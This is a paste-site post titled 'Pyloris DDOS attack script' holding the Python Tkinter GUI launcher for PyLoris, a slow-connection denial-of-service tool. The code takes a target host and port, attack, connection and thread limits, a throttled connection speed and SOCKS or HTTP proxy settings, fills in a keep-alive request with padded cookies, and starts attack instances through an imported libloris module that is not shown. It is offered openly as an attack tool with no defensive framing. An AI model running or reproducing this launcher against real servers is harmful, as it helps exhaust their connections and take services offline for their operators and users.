Pyloris DDOS attack script


SUBMITTED BY: A7laco

DATE: Jan. 10, 2016, 8:25 a.m.

FORMAT: Text only

SIZE: 9.5 kB

HITS: 312

  1. #! /usr/bin/env python
  2. """
  3. pyloris.py
  4. This is the new face of PyLoris. Simply invoking this script will present
  5. the flashy new Tkinter GUI. All connections options are on the left, while
  6. the main request body is located in the text area on the right. Multiple
  7. attack instances can be run simultaneously, with different connection
  8. and request body parameters. One caveat is that PyLoris will continue to
  9. silently run in the background unless the main window is closed or the "Stop
  10. Attack" button is clicked.
  11. """
  12. from Tkinter import BooleanVar
  13. from Tkinter import *
  14. from Tkinter import Toplevel
  15. import time
  16. from libloris import *
  17. class MainWindow(Tk):
  18. def __init__(self):
  19. Tk.__init__(self)
  20. self.title(string = ".o0O| PyLoris |O0o.")
  21. self.lws = []
  22. self.options = {
  23. 'host' : StringVar(),
  24. 'port' : IntVar(),
  25. 'ssl' : BooleanVar(),
  26. 'attacklimit' : IntVar(),
  27. 'connectionlimit' : IntVar(),
  28. 'threadlimit' : IntVar(),
  29. 'connectionspeed' : DoubleVar(),
  30. 'timebetweenthreads' : DoubleVar(),
  31. 'timebetweenconnections' : DoubleVar(),
  32. 'quitimmediately' : BooleanVar(),
  33. 'socksversion' : StringVar(),
  34. 'sockshost' : StringVar(),
  35. 'socksport' : IntVar(),
  36. 'socksuser' : StringVar(),
  37. 'sockspass' : StringVar(),
  38. 'request' : StringVar(),
  39. }
  40. self.options['host'].set('localhost')
  41. self.options['port'].set(80)
  42. self.options['ssl'].set(False)
  43. self.options['attacklimit'].set(500)
  44. self.options['connectionlimit'].set(500)
  45. self.options['threadlimit'].set(50)
  46. self.options['connectionspeed'].set(0.3)
  47. self.options['timebetweenthreads'].set(0.3)
  48. self.options['timebetweenconnections'].set(1)
  49. self.options['quitimmediately'].set(False)
  50. self.options['socksversion'].set('NONE')
  51. self.options['sockshost'].set('localhost')
  52. self.options['socksport'].set(9050)
  53. self.options['socksuser'].set('')
  54. self.options['sockspass'].set('')
  55. gf = LabelFrame(self, text = 'General', relief = GROOVE, labelanchor = 'nw', width = 400, height = 90)
  56. gf.grid(row = 0, column = 1)
  57. gf.grid_propagate(0)
  58. Label(gf, text = 'Host:').grid(row = 0, column = 1)
  59. Entry(gf, textvariable = self.options['host']).grid(row = 0, column = 2, columnspan = 2)
  60. Label(gf, text = 'Port:').grid(row = 1, column = 1)
  61. Entry(gf, textvariable = self.options['port']).grid(row = 1, column = 2, columnspan = 2)
  62. Checkbutton(gf, text = 'SSL', variable = self.options['ssl']).grid(row = 2, column = 1)
  63. bf = LabelFrame(self, text = 'Behavior', relief = GROOVE, labelanchor = 'nw', width = 400, height = 170)
  64. bf.grid(row = 1, column = 1)
  65. bf.grid_propagate(0)
  66. Label(bf, text = 'Attack Limit (0 = No limit):').grid(row = 0, column = 1)
  67. Entry(bf, textvariable = self.options['attacklimit']).grid(row = 0, column = 2)
  68. Label(bf, text = 'Connection Limit (0 = No limit):').grid(row = 1, column = 1)
  69. Entry(bf, textvariable = self.options['connectionlimit']).grid(row = 1, column = 2)
  70. Label(bf, text = 'Thread Limit (0 = No limit):').grid(row = 2, column = 1)
  71. Entry(bf, textvariable = self.options['threadlimit']).grid(row = 2, column = 2)
  72. Label(bf, text = 'Connection speed (bytes/sec):').grid(row = 3, column = 1)
  73. Entry(bf, textvariable = self.options['connectionspeed']).grid(row = 3, column = 2)
  74. Label(bf, text = 'Time between thread spawns (seconds):').grid(row = 4, column = 1)
  75. Entry(bf, textvariable = self.options['timebetweenthreads']).grid(row = 4, column = 2)
  76. Label(bf, text = 'Time between connections (seconds):').grid(row = 5, column = 1)
  77. Entry(bf, textvariable = self.options['timebetweenconnections']).grid(row = 5, column = 2)
  78. Checkbutton(bf, text = 'Close finished connections', variable = self.options['quitimmediately']).grid(row = 6, column = 1, columnspan = 2)
  79. pf = LabelFrame(self, text = 'Proxy', relief = GROOVE, labelanchor = 'nw', width = 400, height = 130)
  80. pf.grid(row = 2, column = 1)
  81. pf.grid_propagate(0)
  82. Label(pf, text = 'Proxy type (SOCKS4/SOCKS5/HTTP/NONE)').grid(row = 0, column = 1)
  83. Entry(pf, textvariable = self.options['socksversion']).grid(row = 0, column = 2)
  84. Label(pf, text = 'Proxy Hostname / IP Address').grid(row = 1, column = 1)
  85. Entry(pf, textvariable = self.options['sockshost']).grid(row = 1, column = 2)
  86. Label(pf, text = 'Proxy Port').grid(row = 2, column = 1)
  87. Entry(pf, textvariable = self.options['socksport']).grid(row = 2, column = 2)
  88. Label(pf, text = 'Proxy Username').grid(row = 3, column = 1)
  89. Entry(pf, textvariable = self.options['socksuser']).grid(row = 3, column = 2)
  90. Label(pf, text = 'Proxy Password').grid(row = 4, column = 1)
  91. Entry(pf, textvariable = self.options['sockspass']).grid(row = 4, column = 2)
  92. Button(self, text = "Launch", command = self.launch).grid(row = 3, column = 1)
  93. df = LabelFrame(self, text = 'Request Body', relief = GROOVE, labelanchor = 'nw')
  94. df.grid(row = 0, column = 2, rowspan = 4)
  95. self.options['request'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=NONE, height = 28, width = 80)
  96. self.options['request'].grid(row = 0, column = 1)
  97. self.options['request'].insert(END, 'GET / HTTP/1.1\r\nHost: www.example.com\r\nKeep-Alive: 300\r\nConnection: Keep-Alive\r\nReferer: http://www.demonstration.com/\r\n')
  98. self.options['request'].insert(END, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1045 Safari/532.5\r\n')
  99. self.options['request'].insert(END, 'Cookie: data1=' + ('A' * 100) + '&data2=' + ('A' * 100) + '&data3=' + ('A' * 100) + '\r\n')
  100. def launch(self):
  101. lorisoptions = DefaultOptions()
  102. for key in self.options.keys():
  103. if key == 'request': lorisoptions[key] = self.options[key].get('1.0', END)
  104. elif key == 'quitimmediately' or key == 'ssl':
  105. if self.options[key].get() == 0:
  106. lorisoptions[key] = False
  107. else: lorisoptions[key] = self.options[key].get()
  108. else: lorisoptions[key] = self.options[key].get()
  109. self.lws.append(LorisWindow('%s:%i' % (lorisoptions['host'], lorisoptions['port']), lorisoptions))
  110. def checkloop(self):
  111. thread.start_new_thread(self.check, ())
  112. def check(self):
  113. while True:
  114. for lw in self.lws:
  115. lw.check()
  116. time.sleep(1)
  117. class LorisWindow(Toplevel):
  118. def __init__(self, title, options):
  119. Toplevel.__init__(self)
  120. self.title(string = title)
  121. self.loris = Loris()
  122. self.loris.LoadOptions(options)
  123. self.elements = {'attacks' : StringVar(), 'threads' : StringVar(), 'sockets' : StringVar()}
  124. self.loris.start()
  125. sf = LabelFrame(self, text = 'Status', width = 180, height = 138)
  126. sf.grid(row = 0, column = 1)
  127. sf.grid_propagate(0)
  128. Label(sf, text = 'Target: %s:%i' % (options['host'], options['port'])).grid(row = 0, column = 1)
  129. Label(sf, text = 'Attacks: 0', textvar = self.elements['attacks']).grid(row = 1, column = 1)
  130. Label(sf, text = 'Threads: 0', textvar = self.elements['threads']).grid(row = 2, column = 1)
  131. Label(sf, text = 'Sockets: 0', textvar = self.elements['sockets']).grid(row = 3, column = 1)
  132. Button(sf, text = 'Stop Attack', command = self.loris.stop).grid(row = 4, column = 1)
  133. df = LabelFrame(self, text = 'Log')
  134. df.grid(row = 0, column = 2)
  135. self.elements['logs'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 80)
  136. self.elements['logs'].grid(row = 0, column = 1)
  137. def check(self):
  138. status = self.loris.status()
  139. self.elements['attacks'].set('Attacks: %i' % (status[0]))
  140. self.elements['threads'].set('Threads: %i' % (status[1]))
  141. self.elements['sockets'].set('Sockets: %i' % (status[2]))
  142. try:
  143. while True:
  144. message = self.loris.messages.get(False)
  145. self.elements['logs'].insert(END, '%s\n' % message)
  146. self.elements['logs'].yview_moveto(1.0)
  147. except:
  148. pass
  149. try:
  150. while True:
  151. debug = self.loris.debug.get(False)
  152. self.elements['logs'].insert(END, '%s\n' % debug)
  153. self.elements['logs'].yview_moveto(1.0)
  154. except:
  155. pass
  156. try:
  157. while True:
  158. error = self.loris.errors.get(False)
  159. self.elements['logs'].insert(END, '[ERROR]: %s\n' % error)
  160. self.elements['logs'].yview_moveto(1.0)
  161. except:
  162. pass
  163. if __name__ == '__main__':
  164. try:
  165. mw = MainWindow()
  166. mw.checkloop()
  167. mw.mainloop()
  168. except Exception, ex:
  169. print('There was an error: %s.\nQuitting.' % ex)

comments powered by Disqus